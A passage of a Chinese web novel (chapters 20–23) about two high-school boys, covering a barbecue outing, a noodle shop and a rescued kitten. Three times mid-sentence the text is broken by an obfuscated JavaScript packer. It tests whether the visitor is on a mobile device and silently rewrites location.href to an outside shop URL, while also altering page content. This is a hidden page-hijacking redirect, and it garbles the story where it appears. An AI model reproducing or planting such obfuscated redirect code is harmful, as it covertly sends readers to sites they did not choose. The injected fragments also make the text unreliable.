一群少年拎着书包做贼似的往外跑,光头老板还要在他们身后招呼一句: “提前下机不退钱哈。” “这个奸商!等着,等我成年了第一个就把他举报了!” 丁逸逍咬着牙,在心里为自己白瞎的三块钱点了一根蜡。 他们出了这地下室,沿着来时的台阶上去,正想快点走出后巷溜之大吉,一拐弯,却发现巷口站着一个人。 李思勉穿着校服抱着个文件夹站在那,胳膊上还带着学生会纪律监察部的红袖标。 “……” 得。 果然是来抓人的。 虽然现场五个人里有四个都是九班的人,但除掉刚来没几天的许最和陆珏,纪因蓝和丁逸逍其实跟李思勉也不熟。 李思勉是九班的学习委员,还是北川一中现任学生会长兼铁面无私的纪律监察部长,有几个混小子总会私下里称他为“老牛的小狗腿子”。他为人严肃板正一丝不苟,跟随性散漫的纪因蓝是两种完全不同的人类,跟他当了快两年的同学,除了被扣分的时候,纪因蓝估计跟他连话都没说够十句。 他明显就是跟着牛猛过来抓人的,要指望在这里靠他们那点微薄的同学情来挑战李思勉的职业素养,那简直是天方夜谭。 毫不夸张地说,纪因蓝都已经想好要怎么跟纪四余解释自己即将要背的这个处分了,他旁边其他人也都是一脸绝望地准备接受制裁。 却见李思勉用目光将他们看过一轮,那眼神原本挺淡挺冷,像是下一秒就要给他们宣布死刑,又不知为何在某处微微一顿。 而后,他微不可查地皱了下眉,侧过身子,像是确认什么似的往边上张望一眼,而后抬手推推眼睛,落手时手指轻轻划了两下,像是某种手势。 隔着半框眼镜,他瞥了面前几人一眼,低声道: “快走。” 20.020:称呼 “刚那人是你们班同学?你们很熟吗?居然这么轻易就放过咱了,为什么啊?” 北川老街区的烧烤摊,辣椒调料的味道混着烟飘满街道,形形色色的人围坐在一张张塑料桌椅边,笑声和烟酒味里是北川春夜的烟火气。 姜闪闪用湿纸巾擦着烧烤店提供的玻璃杯,还在回想先前的惊险时刻: “那个男生我好像有点印象,是不是那个学生会长?管纪律那个,我好像经常看见他跟老牛一起站学校门口检查仪容仪表。我们班被他扣走好多分,我小姐妹管他叫铁面无私小包公。” “什么玩意。”纪因蓝听笑了: “别乱给人家起外号。” “没乱起,你不觉得很贴吗?别说我们班了,他扣你们九班自己分都不眨眼的。” “这不是纪律部长的基本素养?人情世故那一套才不可取好吧?” “哟,你有节操有原则,那你刚咋不站那要求他秉公无私把你押去老牛跟前打二十大板呢?”姜闪闪扁扁嘴。 纪因蓝抬手摇摇手指: “首先,我是有原则。其次,我不是傻逼。” 桌上人听笑了,姜闪闪言归正传: “所以你们很熟啊?真没想到他还能给你们开后门。” “开什么后门?”丁逸逍并不觉得: “我们跟他连话都没说过几句,上周他还扣掉蓝十分文明分呢。今天事我也怪着呢,平时我少穿件校服都能被他拦下来,今天居然能放我们个大的。” “可能扣分跟记过性质不一样吧,再说,人家可能也是看阿最那年级第一的面子,不想让纯洁无瑕的他跟你们一起留下污点!唉,不管怎么说,今天沾了哥几个的光,你们记得连着我那份好好谢谢小包公。” 说着,姜闪闪清理完了自己的餐具,她转头看着烤炉前的烧烤店老板: “老板,好了没啊,饿得前胸贴后背啦!” “来了来了!” 穿着二道背心的烧烤老板赶紧从旁边抽个干净盘子,抓着手里一把烤串放进去,一路小跑地送来他们桌上,笑眯眯招呼道: “公主王子久等!” 他们从网吧出来时天已经暗了,今天周五,早早回去也没什么事,几个人商量几句,便决定来老街这边撸点串吃,算是时隔几日补给陆珏一场先前答应好的欢迎聚会。 他们几个人都在外面野惯了,家里面给着足够的自由,又是周末,玩多晚都无所谓,但许最不一样。 许最这种干净又规矩的三好学生,看起来金贵得很,看着就像是对垃圾食品退避三百里、晚回家十分钟都会被爹妈打断腿的类型。所以他点头表示可以和他们一起去时,纪因蓝真的有点震惊。但事后想想,这人都能在学校外偏僻角落里的黑网吧跟花臂光头老板混到会员,这样一比,吃个烧烤晚点回家好像也不是多大事了。 “嚯,点这么丰盛?今天谁请客?” 丁逸逍一点不客气,抓了串牛肉就往嘴里塞。 “你闪姐。” “嗯?!” 看来姜闪闪本人对此完全不知情: “纪因蓝你做白日梦呢?” “什么?你不是还欠我一顿饭?”纪因蓝扬扬眉。 “我什么时候欠你……” 姜闪闪张张口,一句质问还没说完,突然像是想起了什么,目光僵硬地往许最那边挪了挪,然后默默地闭上了嘴。 之前跟这厮许过,帮忙照应许最就欠他一顿饭来着。 靠,忘了这茬。 姜闪闪顿时感觉吃进嘴里的鸡翅都不香了。 她咬着牙恨恨道: “你等着,下次姐们宰你一顿大的!” 纪因蓝耸耸肩,意思是“随你”。 丁逸逍在旁边看得直乐,等他们聊完,他拿起桌上的啤酒: “来啊,虽然有点晚了,但我仅代表我、蓝和闪姐,欢迎珏珏子和学霸……不,欢迎珏珏子和阿最来到我们相亲相爱的九班大家庭!” 一个啤酒杯举起,各式各样的啤酒杯或饮料杯碰了上来: “欢迎!!” 纪因蓝丁逸逍和陆珏喝了点酒,许最则跟姜闪闪一起喝了烧烤店特供的香橙汽水。 那汽水并没有多好喝,还带着一股浓郁的橙子香精的味道,但配着身边人的笑闹,便好像没那么令人难以接受了。 一盘冒着热气的烧烤很快变成了桌上零零散散的木签和铁签,丁逸逍喝了杯酒,稍微有点上头,没忍住从口袋里摸了一盒烟出来: “不好意思啊兄弟姐妹们,嘴痒,来一根。” “嘴痒你自己扇一扇不行?”姜闪闪翻了个白眼: “又抽烟,熏死了!” 丁逸逍嘿嘿一笑: “我都好几天没抽了,不得奖励自己一下?” 他看了纪因蓝一眼,把烟盒往他那边递了递: “蓝来一根?” “不了,让我姐知道得把我腿打断。”纪因蓝没打算接。 “你不说我不说,小四姐上哪知道?这细烟!蓝莓味!你尝尝,我特意从我爸那顺的。” 纪因蓝瞥了一眼,倒也没继续推,他拿了一根叼在齿间,偏头凑到丁逸逍的火机前点着,抬眼时,突然瞟见身边另一个人的视线。 许最看着他。 他的视线微微下挪,挪到他唇边那支烟,停顿片刻才回到他的眼睛。 他像是有什么话想说: “你……” “许最?” 许最没说完的话顿了顿,纪因蓝也微微一愣,抬眼向声音来处望去。 有五六个少年拍着篮球路过街边,他们身上的校服看着像是附近某个普通高中的款式,几个人姿态散漫,估计是刚打完球,身上汗津津的,衣服也有点脏,边走,篮球拍在地上发出沉闷的响。 拍球的那个高个子少年叼着烟走在最前面,他肩膀上搭着校服外套,黑书包松松挂在肩上,仔细看看,他眉眼和许最还有几分像,但气质差了十万八千里,给人的感觉完全不同。 “真是你啊。” 等到走近了,那少年扬扬唇角,看了许最一眼,又看看桌上其他人,笑得痞气: “你还有朋友呢?” 这话令纪因蓝皱起了眉。 如果他记得没错的话,在之前那个滑稽的自我介绍信里,许最说过自己家里还有个弟弟? 就是这位? “你还不回家?” 许最没有理会少年前一句话,只另问,声音略微有点发沉。 “回啊,这不准备回了吗?” 少年笑了一声,把手插回兜里,又看着其他人道: “你们好哈,我叫许冠,哥哥姐姐们玩得开心?” 说着,许冠朝他们扬扬下巴算作打招呼,便自己拍着篮球走了。 “许冠?阿最,你弟弟啊?” “嗯。” “亲弟弟?” “嗯。” 姜闪闪看着那少年的背影,没忍住感叹一句: “亲兄弟怎么能差这么多?一点也不像!” 丁逸逍像看傻子一样看着她: “又不是双胞胎,不像不是很正常?” 姜闪闪不服:“谁说的?我又没有说长相,说给人的感觉!蓝跟小四姐也不是双胞胎,他俩不就挺像?” “那你说这话就更没有参考价值了。” 丁逸逍扯扯嘴角: “蓝跟小四姐又不是亲的。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12705488|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那他们两个毫无关系的人都能像成那个样子,亲兄弟不像岂不是更奇怪?” “那多少见啊,蓝这种情况只能说是巧合好吧!” 听见他们小学生吵架一般的争论,纪因蓝没忍住笑了。 带着蓝莓味的烟草味在空气里漫开,隔着那点灰白色的轻烟,纪因蓝突然察觉到了另一个人的视线。 他下意识侧目望去,便见许最正直勾勾望着他。 他便又想起了许最之前没说出口的话。 纪因蓝微一挑眉,但在他发出疑问之前,许最就微微垂下眼,避开了他的视线。 在烧烤店分别后,少年们各自回了家,纪因蓝和许最丁逸逍坐上同一班公交车,丁逸逍到站早,没坐一会儿就背着包溜了。纪因蓝嚼着泡泡糖坐在后排,看着窗外北川的夜色,过了一会儿,他问许最: “你哪站下?” 许最微微抿起唇角: “柳湖公园。” “?”纪因蓝有点意外: “这么巧?” “……嗯。” “我也那站下。” “我知道。” “你怎么知道?” “……” 许最不说话了。 纪因蓝看了他一眼,倒也没多在意。 亮着冷色灯光的公交车行在北川的夜里,很快,汽车到站,温柔的机械女声通报站点,随着一声气响,公交车后门缓缓打开,纪因蓝踩着车门内的台阶跳了下去。 吹过纪因蓝的风或许在前不久才路过湖面,风里带着一股清清淡淡的潮湿味道。 纪因蓝看了眼跟在他身后下车的许最: “你往哪走?” 许最抬手指了指公园方向的一片小区居民楼。 “哟?我就在公园另一边那小区,住这么近,以前怎么从没见过你?” 纪因蓝打了个哈欠: “走了,再见!” 但走出去两步后,纪因蓝突然像是想到了什么,顿住了脚步。 他回头看了眼,却见许最还站在原地望着他。 “哎?” “嗯?” 许最目光微微一顿。 纪因蓝朝他扬扬下巴: “你今天想说什么来着?” “什么?” “就你弟来之前,我抽烟那会儿,你想说什么?还有之后,我见你总盯着我看,像是有话要说。想说什么就说,我又不打你,总憋着不累吗?” “……” 许最垂下眼,像是在回忆。 片刻后,他才道: “哦,我不知道你会抽烟。” 纪因蓝听笑了:“你上哪知道?” “嗯。”许最点点头,声音不知为何,稍微低了下去: “我没那么了解你。” 我好像,也没那么了解你。 “这不正常?你才认识我几天?” 纪因蓝随口说了这么一句,转身想走。 下一秒,却突然听见许最的声音在身后: “那,再见。 “……蓝蓝。” “……” 纪因蓝微一挑眉: “你叫我什么?” 许最的声音很好听,冷冷的,像是初冬白日落在栀子花上的第一场雪。低声说话时声音会带着点哑,松散的雪滑过栀子白色的花瓣,染了一身香。 他站在车站旁暖色的路灯下,整个人显得十分柔和,但发梢落下的阴影藏住了他的眉眼,纪因蓝看不清他的眼睛。 不过,很快,许最微微低头,挪开了目光。 “你今天那样叫我。” 所以,公平起见…… 他的称呼,也要特别一点点。 21.021:豌杂面 电脑显示器中,身姿潇洒的西部牛仔根据玩家操作不停变换身位,技能和走位配合,敌人被风筝(走位消耗)到死都没能摸到牛仔的一片衣角。 下一秒,水晶爆炸,游戏胜利的标语弹出。 纪因蓝切出去看了眼数据就退出了游戏,他靠在椅背上,抬手伸了个懒腰: “累了,下播去找点吃的。” 弹幕上飘过一串“呜呜呜”。 -再玩一会儿吧,实在不行点个外卖,我不介意你边吃边播。 -小孩哥,你走了我怎么活啊小孩哥—— -转行吃播行不行,让我看看脸。 “你们行行好吧,生产队的驴也没这么用的,从早上播到现在了。晚上?晚上不播了,作业还一字没动,今天要是写不完,明天也没的播。” 纪因蓝扫了一眼弹幕: “不点外卖。要吃面,等外卖送来就没法吃了。吃什么面?没想好,附近有家豌杂面还不错,转着再看看。” 跟水友们闲聊两句,纪因蓝干脆利索地下了播。 纪四余这两天跟着陆琢公费旅游去了,不在家,纪因蓝有兴致就自己做点东西吃,没兴致就点外卖或者出去下馆子。 最近北川升温快,总算有了点春天的影子,随便套件衣服就能出门。 时间已至傍晚,天空呈清透的深蓝色,一直蔓延到天边,在地平线处彻底变成火焰般的橙红。 纪因蓝头上戴着耳机,穿着浅色牛仔裤和运动鞋,身上是件宽松的蓝色卫衣。在电脑前坐了快一天,现在好不容易出来透口气,他伸个懒腰,跑了两步,拐出小区,去了柳湖公园的方向。 这公园不大,但里面有湖,周边绿化也做得不错,空气让人感觉很舒服。 公园周围基本都是居民楼,所以一天到晚都很热闹,白天多是情侣约会或者年轻人聊天散心,等到傍晚,大爷大娘就带着自己的孙子孙女凑在一起喝茶打牌跳舞锻炼身体,附近小区的住户也会牵着自己的宠物出来溜溜,总之,整个公园都漫着一股温馨的生活气。 纪因蓝听着耳机里的摇滚乐,散步似的顺着公园的小路往后走,打算穿过这个公园,去后门那边吃一碗香得不要命的豌杂面。 小孩的吵闹和震天响的广场舞音乐被耳机隔绝在外,纪因蓝身边是映着橙红色天光的湖面,走着,他侧目望了眼湖边光景,视线越行越远,却在某处微微一顿。 柳湖公园的湖水是下沉式,湖面周围还有一段台阶,那些台阶是台阶也是座椅,一眼望去,人们三三两两坐在台阶上,吹着微风看着风景,好不惬意。 而在不远处一片相对来说有些冷清的区域,一个男生独自坐在那里,正低着头不知道在做什么。 纪因蓝看那身影有点眼熟,走近一瞧,果然是许最。 许最穿着件白色卫衣,外面套了件宽松的牛仔外套,纪因蓝走近时,他正戴着一边耳机看视频。纪因蓝不小心扫到一眼,感觉那像是烈焰圣杯的游戏画面。 这没什么,许最原本就玩烈焰圣杯,看游戏视频也不奇怪。 纪因蓝双手插兜站在台阶上面看着许最,路过时原本想扫一眼就走,没打算跟他打招呼,但想了想,他还是下了几级台阶,取下耳机挂在脖子上,站在他身后,逗小狗似的: “嘬嘬——” 许最微微一顿,很快回过头对上了他的视线。 纪因蓝注意到,在看清是他后,许最将手指挪到手机侧边的锁屏键,微微用力熄灭了屏幕。 纪因蓝没多在意,他只问: “干什么呢?” 许最摘了耳机,把手机连着耳机线一起放进了外套口袋里,露出手底下翻开的诗集: “看书。” “怎么不在家看?” “有点吵。” 许最只说了一半原因。 许冠打游戏很吵是一半,在家看课外书会被苏文丽念叨是另一半。 顿了顿,他又问: “你呢?” “嗯?” “你来做什么?” “路过,到公园后面吃个饭。” “哦。”许最点点头: “豌杂面?” 纪因蓝一愣: “你怎么知道?” “……” 许最微微蜷起手指,而后不太自然地抬手摸摸耳朵: “那家店……不错。” “不是吧,你也懂?” 遇见疑似同好的人,纪因蓝突然活了,他小跑着下几级台阶,直接坐到许最身边: “真的很香对吧?虽然店老破小,但那阿婆手艺真的一绝,辣椒又辣又香。我以为没人知道呢。” 靠这么近,纪因蓝又闻到了许最身上的栀子花香。 湖边潮湿的空气和傍晚的风衬得那香味更加浓郁清甜。 纪因蓝以前一直以为许最是喷了栀子花香味的香水,但后来又觉得香水的味道应该不会这样纯粹。或者是洗衣液的味道?可闻着也不太像。 纪因蓝平时其实不太喜欢太有存在感的味道,香味臭味都一样,但许最身上的栀子花味很纯粹,就像开在枝头的花朵在阳光下自然散发的味道,很干净,闻久了倒也习惯了。 “你晚上吃了没?” 纪因蓝看着许最,问。 “没。” “那走?一起吃点?” 纪因蓝从台阶上站起身。 许最仰头看着他,和他背景蓝紫色的天空。 风拂起纪因蓝的发尾,许最的目光一怔,而后他微微垂下眼,从口袋里拿出一张蓝色书签,把摊开的诗集合上装进了包里: “好。” 纪因蓝没事喜欢瞎转悠,总能在旮旯拐角里发现别人找不见的美食。 阿婆豌杂面就藏在柳湖公园后门的巷子里,它被周围一家家现代化的小吃店铺挤在了不易被发现的角落,就那样默默存活了十几年,直到现在,会来光顾的基本只剩下了老熟客。 它的店面不大,并不精致,看起来甚至还有点破旧,店里的桌椅是纯木制,可能是年岁太久,木头的纹路都被擦得油亮发黑。 进门后,纪因蓝随便拉开一张椅子坐下,回头看了眼店里瘦小的阿婆: “阿婆,一碗豌杂面。要三两。” 说完,他又问对面的许最: “你吃什么?” 许最仰头看着墙上手写的菜单,像是有些出神,听见纪因蓝的声音才道: “哦,和你一样。” 两碗豌杂面很快摆到了二人面前,纪因蓝馋这一口好几天了,现在闻着味儿都快要香晕。 他拿筷子搅了搅面条,偶然抬眼,却发现许最正跟那碗红彤彤香喷喷的面条大眼瞪小眼,也不知道在想什么。 “愣着干嘛?香迷糊了?” 纪因蓝笑了一声。 他拿起桌边摆的辣椒罐,随口问: “哎,许最,你想不想尝尝我的独家配方?不跟你吹牛,经我加工的豌杂面,上个米其林五星不是问题。” “米其林只有三星。”许最纠正道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12714578|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你别管。” “好,不管。” 许最乖乖点点头。 说完,他看着白瓷碗里大片大片的红油,也没多想,便抬手把碗往纪因蓝那边推了一点点,意思是让他放手操作。 “能吃辣吧?”下手前,纪因蓝友情询问一句。 “……能。”许最迟疑一瞬,点了点头。 然后他就看见纪因蓝抱着调料罐往面里添加了致死量的辣椒和麻油,还有相比起来完全可以忽略不记的其他调味料。 “……” 等那碗面再次回到许最这里,许最盯着碗里红到发黑的汤汁,陷入了沉思。 对面,纪因蓝已经拿起筷子大快朵颐,许最空咽一口,慢吞吞用筷子挑了两根面尝试着放进嘴里—— “咳咳咳——” 纪因蓝听见几声惊天动地的咳嗽,他吓了一跳,有那么一瞬间以为对面这人即将原地变异开启末日时代。 他抬眸看了一眼,就见许最捂着口鼻,耳朵通红,咳了好一阵才平复下来。 那之后,他也没再继续吃,只是拿着沾满红油的筷子,红着眼睛眺望某个方向,望眼欲穿。 “?”纪因蓝原本没多在意,直到他低头吃了几口面,再抬眼,许最还保持那个姿势没变,就像涂山脚下那块冰冷的望夫石。 纪因蓝这才没忍住,微一挑眉,顺着他的视线看了一眼。 被许最注视的角落里,阿婆正戴着老花镜坐在那里织毛衣,根本没有注意到许最灼灼的目光。 “你干嘛?你是许杜莎?试图用目光把阿婆变成石像然后接手这家小破店?”纪因蓝像看傻子一样望着他。 “……没有。只是试图得到酸梅汤。” 不知道是不是刚被辣椒呛到的原因,许最的声音有点哑。 “那你喊她啊,你在这睁着俩大眼睛绷到干眼症犯病她都不一定能看见。” “我……” 许最张了张口。 欲言又止止言又欲。 又闭上了。 纪因蓝翻了白眼。 他真不懂许最在别扭什么。 开口说个话很难吗??? 怎么,阿婆的名字是伏地魔吗不能喊出口??? 合着您一个人出去的时候都跟人打手语是吗??? 纪因蓝一瞬间就明白了扫码点单这项伟大发明存在的意义——拯救这种在外面屁都不敢放一个的社交恐惧症患者。 “阿婆——” 看不下去的纪因蓝挺身而出迈出了许最的一大步: “麻烦上一壶酸梅汤。” “要得。” 阿婆应了一声,放下毛衣,笑眯眯地端了一大壶冰镇酸梅汤送到他们桌上。 阿婆店里的酸梅汤都是她纯手工熬的,便宜大碗,几块钱的价格就给上了一整壶。 纪因蓝对酸梅汤没什么兴趣,他一口也没喝,就看着许最吃一口面再“吨吨吨”干掉一碗酸梅汤,照他这架势,一大壶冷饮很快就见了底。 最后,纪因蓝靠在椅子上,看着对面的许最,再看看他面前好不容易吃完的面、一滴不剩的饮料壶、还有成堆的卫生纸,陷入了沉思。 “你……”他试探着问: “你喜欢吗?” 许最又打了个喷嚏。 他抽走了纸巾盒里最后一张纸,擦擦眼角生理性的眼泪,眼圈耳朵鼻尖和嘴唇都红了,但还是坚强地哑着嗓子小声答了一句: “……喜欢。 “真的。” 22.022:三花猫 你最好是真喜欢。 纪因蓝看看可怜许最和他面前的半碗辣椒油,难免有点心虚。 他自己属于无辣不欢的那一类,很能吃辣,火锅一定要吃变态辣,平时吃烧烤吃面条也要在爆辣的基础上再多加辣。刚才许最说自己能吃辣,纪因蓝就放心给他加料了,如果跟他自己碗里的辣椒比,他给许最加的真不算多,但现在看来,许最似乎还是被辣得不轻。 虽然纪因蓝不相信哪个人会冒着被辣死的风险吃完一碗面,但他眼前这人毕竟是许最。 干掉一壶冰镇酸梅汤也要坚持把面吃完,绝不说一个“不”字。 就算辣得快死了也要擦干净眼泪哑着嗓子说“喜欢”。 如果是许最,那真不是没可能。 毕竟许最就是这种有什么话都要往肚子里咽的奇怪生物。 纪因蓝不确定许最是真的喜欢还是在强撑,他也不好问,毕竟就算他问了,许最也不一定答。 出了阿婆的店铺后,纪因蓝和许最一起沿着小吃街往外走。 等走到某处,纪因蓝突然让许最稍等,自己进了旁边某家店铺,回来时,手里还拿了杯果茶。 “给你。” 纪因蓝拿着一个粉色的奶茶杯朝许最晃晃: “草莓的,少冰少糖。” 许最像是有点意外,他看看纪因蓝手里的果茶,又看看他: “给我?” “嗯,不然呢?我旁边还有人?” 纪因蓝把草莓果茶塞到了许最手里: “辣椒是不是给你放多了?其实你觉得辣可以直接说,不用硬吃,你不难受吗?胃不烧吗?给,喝点解辣,应该能好些。” 说着,纪因蓝不知想到了什么,莫名笑了笑: “就是不知道,那么一大壶酸梅汤下肚,你还喝不喝的进去。” 许最微微垂下眼。 他看着手里的草莓果茶,不自觉抿了抿唇角。 “是有点辣。”许最低声应了一句。 顿了顿,他又补充道: “但我喜欢。” “喜欢就好。”纪因蓝说着,没忍住打趣一句: “但你这样吃辣,是不是对你治疗‘胃癌’不太好啊?能行吗?” “……” 许最不说话了。 他只默默插开奶茶杯,低头熟练地装鹌鹑。 纪因蓝看着他这样子,实在好笑。 脖子上的耳机还在放摇滚乐,纪因蓝把音量调大了一点,就算没规规矩矩戴在头上也够他听清耳机里的旋律。 夜晚的小吃街很吵,到处都飘着油烟味,但纪因蓝刚刚吃得很饱,现在对它们暂时没什么兴趣。 他跟许最一起走出了这片街区,从人声鼎沸满街飘香走入普普通通的清冷夜色。 “我从这拐,你家往哪走?” 纪因蓝指指几步开外的十字路口,问许最。 许最抬眸看了一圈周围,才指了个跟纪因蓝相反的方向。 “嗯,行,那……” 纪因蓝点点头,但一句话还没说完,他突然听见角落里传来一声微弱的: “喵——” 纪因蓝愣了一下。 他看向猫叫声传来的方向,是阴影下的一处垃圾堆。 为免乌龙,他还跟许最确认了一下: “你听见了吗?” “听见了。”许最点点头: “小猫叫。” “喵呜——” 这次,纪因蓝听清了。 “这地方还有猫啊。” 那声猫叫听着有点虚弱,还奶声奶气,应该还是只小猫崽。 纪因蓝也没多想,直接走向那片垃圾堆,边弯下腰努力地想看清里面的东西: “嘬嘬——喵——有猫吗?” 听见前两声,许最微微一怔,下意识抬眸看向纪因蓝,但很快他就反应过来,那人并不是在叫他。 纪因蓝没注意到许最这点小动作,他沉迷找猫,正摸黑伸手扒拉着垃圾堆旁边的纸箱,下一秒,一束光从身后打了过来。 纪因蓝愣了一下,回头看去,就见许最走近了点,手里的手机开着手电筒,灯光对着他的脚下。 对上他的眼神,许最似乎有点不自然,他晃晃手机: “给你一点光。” 听见这话,纪因蓝扬唇笑了。 他点点头: “行。谢了。” 小猫崽就在垃圾桶旁边那堆纸箱里窝着,并不难找。 纪因蓝检查了一下,发现纸箱里被人铺了软垫,还有几粒零碎的猫粮,说明这小猫并不是小流浪,而是被人故意遗弃在了这里。 许最挪开周围乱七八糟的纸壳,跟他一起看着纸箱里的小东西。 那是只长毛小三花,还是个小漂亮。 纪因蓝抬手把猫崽抱了起来,他动作很温柔,猫崽并没有挣扎。 “呦呦呦。” 纪因蓝抱着猫崽晃一晃,不自觉学着动画片里人物的声线,哄小孩似的道: “你怎么也被丢在垃圾桶里啦?” 许最听见这话,愣了一下。 他偏头看着纪因蓝的侧脸: “也?” “啊?” “你……以前捡过别的小猫?” “哦,猫没有。”纪因蓝顿了顿,才想起来许最并不知道有关他的事。 他笑了一声,随口解释道: “但我是我姐从垃圾桶里捡来的。” 纪因蓝说这话的语气很平淡,就像是在跟许最讲今天中午吃了什么,边说还不忘逗逗手里的小三花。 但许最却稍作沉默:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12727219|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……抱歉。” “这有什么好抱歉的?”纪因蓝有点奇怪地看了他一眼: “这又不是什么秘密,很多人都知道。这对我来说,不是什么提不得的事。” 手里的小三花很乖,刚才还嗷嗷乱哭呢,但被纪因蓝捧起来之后,就没再叫过了。 “啧,这小东西,天还没彻底回暖,它这么小,自己估计活不下去。” 纪因蓝用手指逗逗它,边问身边的人: “哎,许最,你家缺猫吗?” “嗯?”许最愣了一下,才答: “不缺……吧。” “哦,这猫崽太小了,得给它找个家。”纪因蓝解释道。 “……”许最点点头,目光落在纪因蓝漂亮的手指骨节,还有他手里的小猫。 也不知想到了什么,他微微皱了皱眉,而后垂下眼,再开口时,声音低了很多: “……我家里,不好养这些。” “也是,你爸妈管得很严吧?”纪因蓝看着他,笑了一声: “与学习无关的东西一律禁止那种?但我看你弟又跟你完全不一样。怎么,他们只军训你,不管你弟啊?” “……也不是。”许最抿抿唇,可能是不想继续这个话题,他并没有没多解释。 纪因蓝不怎么在意,他只另道: “对了,我其实还特好奇一件事。” “嗯。” “你经常去那家黑网吧?就我们上次一起去的那家,我看那光头老板跟你还挺熟。你去网吧都干什么?打游戏?不会是刷题吧?” “谁会去黑网吧刷题?” 许最真诚询问。 纪因蓝一噎,一时分不清他是真好奇还是在阴阳怪气。 不过很快,许最就解释道: “不刷题。房间里没有电脑,家里人也不让玩游戏,只能出去找地方。” 纪因蓝之前就猜过这情况是不是跟许最家里人有关,没想到还真是。 “但你怎么找到那地方的?丁逸逍都不知道的地方,居然能被你找到。” “嗯。”许最垂着眼: “因为已经去很多年了。五年前吧……忘了。那时候年龄太小,很多黑网吧都不让进,找了很久,问了很多家,只有那家可以,就一直去到现在。” “五年前?!” 听见这个时间,纪因蓝吓了一跳: “你真是烈焰圣杯骨灰玩家啊?我都不一定有你玩的久。五年前你小学毕没毕业?从五年前玩到现在?你这么喜欢这游戏?” “嗯……” 许最缓慢地眨了眨眼。 他看了纪因蓝一眼,不过很快就挪开视线,只垂眼看着地面,有些不自然地摸了摸耳朵,唇角那点上扬的弧度像是一个不大明显的笑: “……很喜欢。” 23.023:夜湖 “我也玩了五年了。” 纪因蓝把纸箱里的软垫拿出来,裹在小三花身上,把它抱了起来。 “不过我比你好点,我姐不怎么管我,除了我想退学那阵,她基本没怎么为游戏说过我。” “……为什么?”许最看着他。 “什么?” 停顿片刻,许最才继续问: “为什么要退学?” 纪因蓝可以大大方方告诉别人自己跟纪四余的关系,却不太想细说这段往事。 他从地上站起身,只模糊道: “嗐,人生在世,难免遇到点贱人贱事。行了,你不是还得回家?去吧,我带这小崽子去趟宠物医院。” 说着,纪因蓝把小三花和它的软垫往臂弯里一夹就打算走,但很快,他就听见许最在他身后唤他的名字。 “纪因蓝。” 许最语速很慢,显得有点温柔。 “嗯?”纪因蓝愣了一下,回头看向他。 许最关掉了手机手电筒的灯光,整个人站在路边前后两盏路灯的中间,身上沾不到一点光。 纪因蓝觉得他在某一瞬间,真的很…… 时间太短,他找不到词来形容。 “我能不能跟你一起去?” 在纪因蓝出神的那一秒,许最说完了后一句话。 “想一起就走呗?”纪因蓝听着好笑: “我又没有绑你脚。不过……” 他抬头看了看天色: “你家没有门禁吗?你这么晚回去,你家里人乐意吗?” “嗯。”许最走到了他身边,垂着眼,淡淡道: “他们可能觉得我在自习室。” 纪因蓝看了他一会儿,听见这话,他不自觉弯起唇角,收回了视线。 他发现,许最这个人,似乎跟他想象中有点不一样。 纪因蓝原本以为这家伙是那种最最典型的乖乖仔,是只知道看书学习的书呆子,本本分分从不违反任何地方的规则,是让家长老师省心的小孩,是所有人口中的“别人家的孩子”,除了情商有点低还特别不爱说话,应该就没有其他缺点了。 但现在看来,他似乎也不是那样的。 说他乖吧,他天天大老远往黑网吧跑,大半夜不回家假装自己在自习室学习。说他只会学习吧,他看起来又很爱玩游戏,玩得还很好,当然,后面这点,纪因蓝到现在也没有彻底相信。 柳湖公园附近就有一家宠物医院,小三花的检查做得很顺利,医生说它只有点耳螨,其他没什么大问题,总体来说还是只健康小猫。但宠物医院不提供寄存和寻找领养的服务,纪因蓝联系了几家宠物店也不太方便,没办法,他最后只能临时买一堆猫猫用品,带着小三花先回家。 纪因蓝抱着猫,许最则拎着他拿不下的大包小包跟在他身边。可能是觉得把人当苦力实在过意不去,在分别前,纪因蓝去甜品店买了两支冰激凌,跟许最坐在一起吃。 他们又回到了柳湖公园,夜深了,公园里的人并没有傍晚时那样多,只有稍远些的地方能听见音响里传来的广场舞音乐,路过的风有点凉,却带着湖水清新的味道。 “这天气吃冰激凌可能有点早了,但你可是零下天气生嚼冰块的人,我觉得你不会介意。” “嗯?”许最可能是没反应过来,等意识到纪因蓝在说什么,他默默垂下眼: “没……” “所以你为什么要吃冰块?不会真是为了把自己弄哑好逃避那场演讲吧?” 纪因蓝是真的好奇。 “……”许最沉默片刻,才答: “算是吧……” “为什么?” “……就,不习惯在那么多人面前说话。” 